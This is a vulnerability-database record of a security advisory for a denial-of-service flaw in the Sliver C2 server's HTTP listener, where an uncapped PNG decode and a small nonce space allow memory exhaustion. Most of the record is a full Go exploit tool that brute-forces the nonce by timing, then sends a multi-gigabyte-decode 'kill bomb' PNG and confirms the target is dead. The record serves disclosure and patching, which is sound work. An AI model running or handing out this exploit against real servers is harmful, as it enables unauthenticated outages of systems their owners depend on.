{"id":"CVE-2026-77622","aliases":["GHSA-663m-7x7m-g4fw"],"title":"Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder","summary":"Sliver: Unauthenticated Memory Exhaustion Denial of Service in Sliver HTTP(S) Listener PNG Decoder","severity":"high","cwe":["CWE-770"],"vendor":"BishopFox","product":"github.com/BishopFox/sliver","ecosystem":"go","affected":["github.com/BishopFox/sliver < 1.7.6"],"patched":["github.com/BishopFox/sliver 1.7.6"],"published":"2026-10-15","updated":"2026-10-15","sourceUpdated":"2026-10-15T20:09:34Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-663m-7x7m-g4fw","references":[{"url":"https://github.com/BishopFox/sliver/security/advisories/GHSA-663m-7x7m-g4fw"},{"url":"https://github.com/BishopFox/sliver/commit/80273462bd8b2a3cd724d2d6d0301a0cabfa977d"},{"url":"https://github.com/BishopFox/sliver/releases/tag/v1.7.6"},{"url":"https://github.com/advisories/GHSA-663m-7x7m-g4fw"}],"tags":["ghsa","go","exploit-available"],"exploits":{"github":1,"githubRepos":["https://github.com/Squ1shification/PNGboomer-CVE-2026-77622"],"checkedAt":"2026-10-15T20:30:15.624Z"},"exploitAvailable":true,"ingestedAt":"2026-10-15T20:29:40.564Z","slug":"CVE-2026-77622","body":"## Overview\n\n### Summary\nSliver is vulnerable to a Denial of Service (DOS) attack because there is no cap in the size of a PNG file that can be sent to an open http listener and there is a small amount of possible nonces. This vulnerability lets the attacker completely max out the RAM of the machine running server, leading to a complete loss of availability. \n### Details\n\nThe first vulnerability is that the amount of possible nonces is 65,537. This is found in `server/encoders/encoders.go`\n```go\nconst (\n    EncoderModulus = uint64(65537)\n)\n```\n\nThe second vulnerability is there is no limit to how many pixels the PNG encoder will accept from an unauthenticated user. This is found in:\n`util/encoders/images.go`\n\n```go\nfunc (p PNGEncoder) Encode(data []byte) ([]byte, error) {\n    img := imageFromBytes(data)\n    var buf bytes.Buffer\n    encoder.Encode(&buf, img)\n    return buf.Bytes(), nil\n}\n\nfunc (p PNGEncoder) Decode(data []byte) ([]byte, error) {\n    buf := bytes.NewBuffer(data)\n    img, err := png.Decode(buf)\n    if err != nil { return nil, err }\n    return bytesFromImage(img), nil\n}\n```\n\n### PoC\nThe first step to reproduce this vulnerability is building a docker container to make sure no harm is caused.\n\nGet the latest version of Sliver (Currently 1.7.3)\n```bash\ngit clone https://github.com/BishopFox/sliver.git\n```\n\nBuild the Docker container:\n```bash\ncd sliver\ndocker build -t sliver-test:local -f Dockerfile .\n```\n\nRun the Docker container with a memory cap for example 4GB:\n```bash\ndocker run --rm \\\n--name sliver-test \\\n--memory=4g \\\n-p 8080:8080 \\\n-it \\\nsliver-test:local \n```\n\nAfter the Docker container starts, create an http listener on port 8080:\n\n```bash\nhttp -L 0.0.0.0 -l 8080\n```\n\nIn a seperate terminal create the following Go project:\n`go.mod`\n```Go\nmodule pngboomer\ngo 1.25\n```\n\n`poc.go`\n```Go\n// pngboomer — Sliver HTTP C2 PNG-bomb exploit: blind nonce brute-force + kill.\n//\n// SAFETY: the kill bomb causes a multi-GB PNG decode on the target. Always run\n// it against a Docker container with --memory=<N>g and pass -target-cap-mb N\n// so the tool can refuse dangerous worker/probe combos.\n//\n// Build:  go build -o pngboomer\n// Demo:   ./pngboomer -url http://target:8080/ -target-cap-mb 10240\npackage main\n\nimport (\n        \"bytes\"\n        \"compress/zlib\"\n        \"context\"\n        \"encoding/binary\"\n        \"flag\"\n        \"fmt\"\n        \"hash/crc32\"\n        \"io\"\n        \"math/rand\"\n        \"net\"\n        \"net/http\"\n        \"net/url\"\n        \"os\"\n        \"sort\"\n        \"sync\"\n        \"sync/atomic\"\n        \"time\"\n)\n\n// ANSI color — single helper, disabled by -no-color / -silent.\nvar nocolor bool\n\nfunc col(code, s string) string {\n        if nocolor {\n                return s\n        }\n        return \"\\x1b[\" + code + \"m\" + s + \"\\x1b[0m\"\n}\nfunc B(s string) string          { return col(\"1\", s) }\nfunc D(s string) string          { return col(\"2\", s) }\nfunc R(s string) string          { return col(\"1;31\", s) }\nfunc G(s string) string          { return col(\"1;32\", s) }\nfunc Y(s string) string          { return col(\"1;33\", s) }\nfunc C(s string) string          { return col(\"1;36\", s) }\nfunc ms(d time.Duration) float64 { return float64(d.Microseconds()) / 1000 }\n\n// PNG forging — stream zero-rows into zlib so client RSS stays ~10 MB even for\n// the 4 GiB-decode kill bomb. colorType: 2=RGB (3 B/px), 6=RGBA (4 B/px).\nfunc chunk(typ string, data []byte) []byte {\n        out := make([]byte, 4, 12+len(data))\n        binary.BigEndian.PutUint32(out, uint32(len(data)))\n        out = append(out, typ...)\n        out = append(out, data...)\n        crc := crc32.NewIEEE()\n        crc.Write([]byte(typ))\n        crc.Write(data)\n        tail := make([]byte, 4)\n        binary.BigEndian.PutUint32(tail, crc.Sum32())\n        return append(out, tail...)\n}\nfunc makePNG(W, H, ct int) []byte {\n        bpp := 3\n        if ct == 6 {\n                bpp = 4\n        }\n        var zb bytes.Buffer\n        zw, _ := zlib.NewWriterLevel(&zb, zlib.BestCompression)\n        row := make([]byte, 1+bpp*W)\n        for i := 0; i < H; i++ {\n                zw.Write(row)\n        }\n        zw.Close()\n        ihdr := make([]byte, 13)\n        binary.BigEndian.PutUint32(ihdr[0:4], uint32(W))\n        binary.BigEndian.PutUint32(ihdr[4:8], uint32(H))\n        ihdr[8], ihdr[9] = 8, byte(ct)\n        out := []byte(\"\\x89PNG\\r\\n\\x1a\\n\")\n        out = append(out, chunk(\"IHDR\", ihdr)...)\n        out = append(out, chunk(\"IDAT\", zb.Bytes())...)\n        return append(out, chunk(\"IEND\", nil)...)\n}\n\n// HTTP helpers\nfunc hostPort(u string) string {\n        p, _ := url.Parse(u)\n        if p.Port() != \"\" {\n                return p.Hostname() + \":\" + p.Port()\n        }\n        if p.Scheme == \"https\" {\n                return p.Hostname() + \":443\"\n        }\n        return p.Hostname() + \":80\"\n}\nfunc alive(hp string, t time.Duration) bool {\n        c, err := net.DialTimeout(\"tcp\", hp, t)\n        if err != nil {\n                return false\n        }\n        c.Close()\n        return true\n}\nfunc post(ctx context.Context, cli *http.Client, base string, body []byte, n uint64) time.Duration {\n        req, _ := http.NewRequestWithContext(ctx, \"POST\",\n                fmt.Sprintf(\"%s?n=%d\", base, n), bytes.NewReader(body))\n        req.Header.Set(\"Content-Type\", \"application/octet-stream\")\n        t := time.Now()\n        resp, err := cli.Do(req)\n        dt := time.Since(t)\n        if err == nil {\n                io.Copy(io.Discard, resp.Body)\n                resp.Body.Close()\n        }\n        return dt\n}\n\ntype hit struct {\n        n  uint64\n        dt time.Duration\n}\n\nfunc main() {\n        target := flag.String(\"url\", \"http://127.0.0.1:8080/\", \"Sliver HTTP C2 base URL\")\n        workers := flag.Int(\"workers\", 8, \"scan concurrency\")\n        probeW := flag.Int(\"probe-w\", 2000, \"probe PNG width\")\n        probeH := flag.Int(\"probe-h\", 2000, \"probe PNG height\")\n        probeCT := flag.Int(\"probe-color\", 2, \"probe color: 2=RGB, 6=RGBA\")\n        killW := flag.Int(\"kill-w\", 32767, \"kill PNG width\")\n        killH := flag.Int(\"kill-h\", 32767, \"kill PNG height\")\n        killCT := flag.Int(\"kill-color\", 6, \"kill color: 2=RGB, 6=RGBA\")\n        thMs := flag.Int(\"threshold-ms\", 50, \"threshold floor (effective = max(this, baseline_p99 × outlier-mult))\")\n        outlier := flag.Float64(\"outlier-mult\", 15.0, \"baseline_p99 × this = adaptive threshold\")\n        calibN := flag.Int(\"calibrate\", 16, \"non-PNG calibration samples\")\n        verifyN := flag.Int(\"verify\", 3, \"re-probe count per candidate\")\n        maxN := flag.Int(\"max-nonce\", 65537, \"top nonce (Sliver modulus = 65537)\")\n        pTO := flag.Duration(\"probe-timeout\", 5*time.Second, \"per-probe HTTP timeout\")\n        kTO := flag.Duration(\"kill-timeout\", 180*time.Second, \"kill request HTTP timeout\")\n        capMB := flag.Int(\"target-cap-mb\", 10240, \"declared target memory cap, 0 = disable check\")\n        known := flag.Int(\"nonce\", 0, \"skip scan, use this nonce directly\")\n        scanOnly := flag.Bool(\"scan-only\", false, \"stop after finding nonce, don't kill\")\n        noConf := flag.Bool(\"no-confirm\", false, \"don't TCP-poll for death after kill\")\n        noClr := flag.Bool(\"no-color\", false, \"disable ANSI color\")\n        silent := flag.Bool(\"silent\", false, \"only print nonce on stdout\")\n        flag.Parse()\n\n        nocolor = *noClr || *silent\n        pBpp, kBpp := 3, 3\n        if *probeCT == 6 {\n                pBpp = 4\n        }\n        if *killCT == 6 {\n                kBpp = 4\n        }\n        probeMB := pBpp * *probeW * *probeH / 1024 / 1024\n        killMB := kBpp * *killW * *killH / 1024 / 1024\n        peakMB := *workers * probeMB\n        if *capMB > 0 && peakMB > *capMB/2 {\n                fmt.Fprintf(os.Stderr, \"%s scan peak %d MiB > target cap %d / 2 — lower -workers or -probe-w/h\\n\",\n                        R(\"[X] safety:\"), peakMB, *capMB)\n                os.Exit(2)\n        }\n\n        probe := makePNG(*probeW, *probeH, *probeCT)\n        kill := makePNG(*killW, *killH, *killCT)\n        hp := hostPort(*target)\n        if !alive(hp, 2*time.Second) {\n                fmt.Fprintf(os.Stderr, \"%s target unreachable: %s\\n\", R(\"[X]\"), hp)\n                os.Exit(2)\n        }\n        if !*silent {\n                fmt.Fprintln(os.Stderr, B(\"pngboomer — Sliver C2 PNG-bomb DoS\"))\n                fmt.Fprintf(os.Stderr, \"  probe %dB wire  %dx%d c=%d  → %d MiB decode\\n\",\n                        len(probe), *probeW, *probeH, *probeCT, probeMB)\n                fmt.Fprintf(os.Stderr, \"  kill  %dB wire  %dx%d c=%d  → %d MiB decode\\n\",\n                        len(kill), *killW, *killH, *killCT, killMB)\n                fmt.Fprintf(os.Stderr, \"  scan peak ≈ %d MiB  target cap=%d MiB  reachable=%s\\n\",\n                        peakMB, *capMB, B(hp))\n        }\n\n        cli := &http.Client{Timeout: *pTO, Transport: &http.Transport{MaxIdleConnsPerHost: *workers}}\n        pngN := uint64(*known)\n\n        if pngN == 0 {\n                // ─── Phase 1: calibrate non-PNG baseline ───\n                dts := make([]time.Duration, *calibN)\n                sem := make(chan struct{}, 8)\n                var wg sync.WaitGroup\n                for i := 0; i < *calibN; i++ {\n                        i := i\n                        sem <- struct{}{}\n                        wg.Add(1)\n                        go func() {\n                                defer wg.Done()\n                                defer func() { <-sem }()\n                                dts[i] = post(context.Background(), cli, *target, probe, uint64(rand.Intn(*maxN-1)+1))\n                        }()\n                }\n                wg.Wait()\n                sort.Slice(dts, func(i, j int) bool { return dts[i] < dts[j] })\n                p50, p99 := dts[len(dts)/2], dts[len(dts)*99/100]\n                eff := int64(*thMs)\n                if a := int64(float64(p99.Milliseconds()) * *outlier); a > eff {\n                        eff = a\n                }\n                *thMs = int(eff)\n                thresh := time.Duration(*thMs) * time.Millisecond\n                if !*silent {\n                        fmt.Fprintf(os.Stderr, \"  baseline p50=%.0fms p99=%.0fms  → threshold=%s (max of floor, p99×%.0f)\\n\",\n                                ms(p50), ms(p99), B(fmt.Sprintf(\"%dms\", *thMs)), *outlier)\n                }\n\n                // ─── Phase 2: scan with verify + blacklist-on-blip ───\n                blacklist := map[uint64]bool{}\n                var maxDt int64\n                var maxNonce uint64\n                var totalDone uint64\n                scanStart := time.Now()\n                const maxBlips = 8\n\n                // Shuffled nonce order, shared across re-scans. Workers pull via atomic\n                // counter — no channels, no producer goroutine.\n                order := make([]uint64, *maxN-1)\n                for i := range order {\n                        order[i] = uint64(i + 1)\n                }\n                rand.Shuffle(len(order), func(i, j int) { order[i], order[j] = order[j], order[i] })\n\n                for blip := 0; blip < maxBlips && pngN == 0; blip++ {\n                        scanCtx, scanCancel := context.WithCancel(context.Background())\n                        hits := make(chan hit, 1)\n                        var idx int64\n                        var scanned uint64\n                        var swg sync.WaitGroup\n                        for i := 0; i < *workers; i++ {\n                                swg.Add(1)\n                                go func() {\n                                        defer swg.Done()\n                                        for scanCtx.Err() == nil {\n                                                i := atomic.AddInt64(&idx, 1) - 1\n                                                if i >= int64(len(order)) {\n                                                        return\n                                                }\n                                                n := order[i]\n                                                if blacklist[n] {\n                                                        continue\n                                                }\n                                                dt := post(scanCtx, cli, *target, probe, n)\n                                                atomic.AddUint64(&scanned, 1)\n                                                for { // track slowest probe (lock-free CAS)\n                                                        cur := atomic.LoadInt64(&maxDt)\n                                                        if dt.Nanoseconds() <= cur {\n                                                                break\n                                                        }\n                                                        if atomic.CompareAndSwapInt64(&maxDt, cur, dt.Nanoseconds()) {\n                                                                atomic.StoreUint64(&maxNonce, n)\n                                                                break\n                                                        }\n                                                }\n                                                if dt >= thresh {\n                                                        select {\n                                                        case hits <- hit{n, dt}:\n                                                        default:\n                                                        }\n                                                        scanCancel()\n                                                        return\n                                                }\n                                        }\n                                }()\n                        }\n\n                        if !*silent {\n                                go func() {\n                                        t := time.NewTicker(750 * time.Millisecond)\n                                        defer t.Stop()\n                                        for {\n                                                select {\n                                                case <-scanCtx.Done():\n                                                        return\n                                                case <-t.C:\n                                                        tot := atomic.LoadUint64(&totalDone) + atomic.LoadUint64(&scanned)\n                                                        el := time.Since(scanStart).Seconds()\n                                                        fmt.Fprintf(os.Stderr, D(\"  scanned %d (%.0f/s, %.1fs, blips=%d)\\n\"),\n                                                                tot, float64(tot)/el, el, blip)\n                                                }\n                                        }\n                                }()\n                        }\n\n                        go func() { swg.Wait(); close(hits) }()\n                        cand, ok := <-hits\n                        scanCancel()\n                        atomic.AddUint64(&totalDone, atomic.LoadUint64(&scanned))\n                        if !ok {\n                                break // exhausted, no candidate\n                        }\n\n                        // VERIFY: re-probe N×, count threshold hits, render tries inline\n                        conf := 0\n                        var tries bytes.Buffer\n                        for i := 0; i < *verifyN; i++ {\n                                dt := post(context.Background(), cli, *target, probe, cand.n)\n                                if dt >= thresh {\n                                        conf++\n                                        tries.WriteString(G(\"✓\"))\n                                } else {\n                                        tries.WriteString(R(\"✗\"))\n                                }\n                                fmt.Fprintf(&tries, \"%.0fms \", ms(dt))\n                        }\n                        if !*silent {\n                                fmt.Fprintf(os.Stderr, \"  candidate %s (%.0fms)  verify: %s\\n\",\n                                        B(fmt.Sprintf(\"%d\", cand.n)), ms(cand.dt), tries.String())\n                        }\n                        if conf >= (*verifyN+1)/2 {\n                                pngN = cand.n\n                                if !*silent {\n                                        fmt.Fprintf(os.Stderr, \"%s nonce=%s in %.2fs (%d probes, %d blips)\\n\",\n                                                G(\"[+] FOUND\"), B(fmt.Sprintf(\"%d\", pngN)),\n                                                time.Since(scanStart).Seconds(), atomic.LoadUint64(&totalDone), len(blacklist))\n                                }\n                                break\n                        }\n                        blacklist[cand.n] = true\n                        if !*silent {\n                                fmt.Fprintf(os.Stderr, \"%s nonce %d rejected (%d/%d) — blacklisted\\n\",\n                                        Y(\"[!] blip\"), cand.n, conf, *verifyN)\n                        }\n                }\n\n                if pngN == 0 {\n                        mDt := time.Duration(atomic.LoadInt64(&maxDt))\n                        mN := atomic.LoadUint64(&maxNonce)\n                        fmt.Fprintf(os.Stderr, \"%s no candidate ≥ %dms after %d probes\\n\",\n                                R(\"[X] scan failed:\"), *thMs, atomic.LoadUint64(&totalDone))\n                        fmt.Fprintf(os.Stderr, \"  slowest probe: nonce=%d at %.0fms\\n\", mN, ms(mDt))\n                        suggest := mDt.Milliseconds() * 6 / 10\n                        if suggest < 30 {\n                                suggest = 30\n                        }\n                        fmt.Fprintf(os.Stderr, \"  fix: %s  or grow -probe-w/-probe-h\\n\",\n                                C(fmt.Sprintf(\"-threshold-ms %d\", suggest)))\n                        os.Exit(2)\n                }\n        }\n\n        if *scanOnly {\n                fmt.Println(pngN)\n                return\n        }\n\n        // ─── Phase 3: fire kill bomb ───\n        if !*silent {\n                fmt.Fprintf(os.Stderr, \"%s firing kill (%d MiB decode) at %s?n=%d\\n\",\n                        B(\"[*]\"), killMB, *target, pngN)\n        }\n        kCli := &http.Client{Timeout: *kTO}\n        killStart := time.Now()\n        done := make(chan struct{})\n        go func() {\n                dt := post(context.Background(), kCli, *target, kill, pngN)\n                if !*silent {\n                        fmt.Fprintf(os.Stderr, \"  kill returned in %.2fs\\n\", dt.Seconds())\n                }\n                close(done)\n        }()\n\n        if *noConf {\n                <-done\n                fmt.Println(pngN)\n                return\n        }\n\n        deadline := time.Now().Add(*kTO)\n        for time.Now().Before(deadline) {\n                time.Sleep(250 * time.Millisecond)\n                if !alive(hp, time.Second) {\n                        if !*silent {\n                                fmt.Fprintf(os.Stderr, \"%s killed in %.2fs (TCP refused at %s)\\n\",\n                                        G(\"[+] ★ TARGET DEAD ★\"), time.Since(killStart).Seconds(), hp)\n                        }\n                        fmt.Println(pngN)\n                        return\n                }\n        }\n        fmt.Fprintf(os.Stderr, \"%s target alive after %s — try larger -kill-w/-kill-h\\n\", Y(\"[!]\"), *kTO)\n        os.Exit(1)\n}\n```\n\n### Impact\nThis vulnerability can impact the availability of any Sliver server that has a running http listener. If the target server does not have a limit on the amount of memory the Sliver C2 can use it will lead to a host device crashing.\n\n### Collaboration\nThis vulnerability was found with the help of Wencheng Xue (panwnvda).\n\n## Affected packages\n\n- `github.com/BishopFox/sliver < 1.7.6`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `github.com/BishopFox/sliver 1.7.6`","depth":"midnight","depthScore":53,"depthScoreParts":{"impact":41.3,"likelihood":0,"exploitation":12,"ransomware":0},"changes":[]}